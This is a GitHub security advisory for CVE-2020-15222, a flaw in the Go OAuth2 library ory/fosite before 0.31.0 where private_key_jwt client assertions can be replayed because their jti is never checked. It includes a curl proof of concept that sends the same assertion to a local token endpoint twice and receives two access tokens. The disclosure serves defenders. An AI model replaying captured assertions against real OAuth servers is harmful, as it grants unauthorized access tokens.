GitHub Advisoryadvisory · Go
GHSA-v3q9-2p3m-7g43 Token reuse in Ory fosite
HIGH
Official page ↗
- Aliases
- CVE-2020-15222
- Ecosystem
- Go
- Packages
- github.com/ory/fosite
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-287, CWE-345
- Reviewed
- 2021-05-24
Affected packages
• Go github.com/ory/fosite: < 0.31.0 → fixed in 0.31.0
Description
Impact
When using client authentication method "private_key_jwt" [[1]](https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication), OpenId specification says the following about assertion `jti`:
> A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties
Hydra does not seem to check the uniqueness of this `jti` value. Here is me sending the same token request twice, hence with the same `jti` assertion, and getting two access tokens:
```
$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
--data-urlencode 'scope=application openid' \
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
--data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM","expires_in":3599,"scope":"application openid","token_type":"bearer"}⏎
$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
--data-urlencode 'scope=application openid' \
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
--data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4","expires_in":3599,"scope":"application openid","token_type":"bearer"}
```
Patches
This issue is patched in 0.31.0.
Workarounds
Do not allow clients to use `private_key_jwt`.
References
https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication
Related
Alias · CVE (1)
- CVE-2020-15222 In ORY Fosite (the security first OAuth2 & OpenID Connect framework for Go) before version 0.31.0, when using "private_key_jwt"… vulnerability
References
- https://github.com/ory/fosite/security/advisories/GHSA-v3q9-2p3m-7g43 web
- https://nvd.nist.gov/vuln/detail/CVE-2020-15222 advisory
- https://github.com/ory/fosite/commit/0c9e0f6d654913ad57c507dd9a36631e1858a3e9 web
- https://github.com/ory/fosite package
- https://github.com/ory/fosite/releases/tag/v0.31.0 web
- https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication web
- https://pkg.go.dev/vuln/GO-2021-0110 web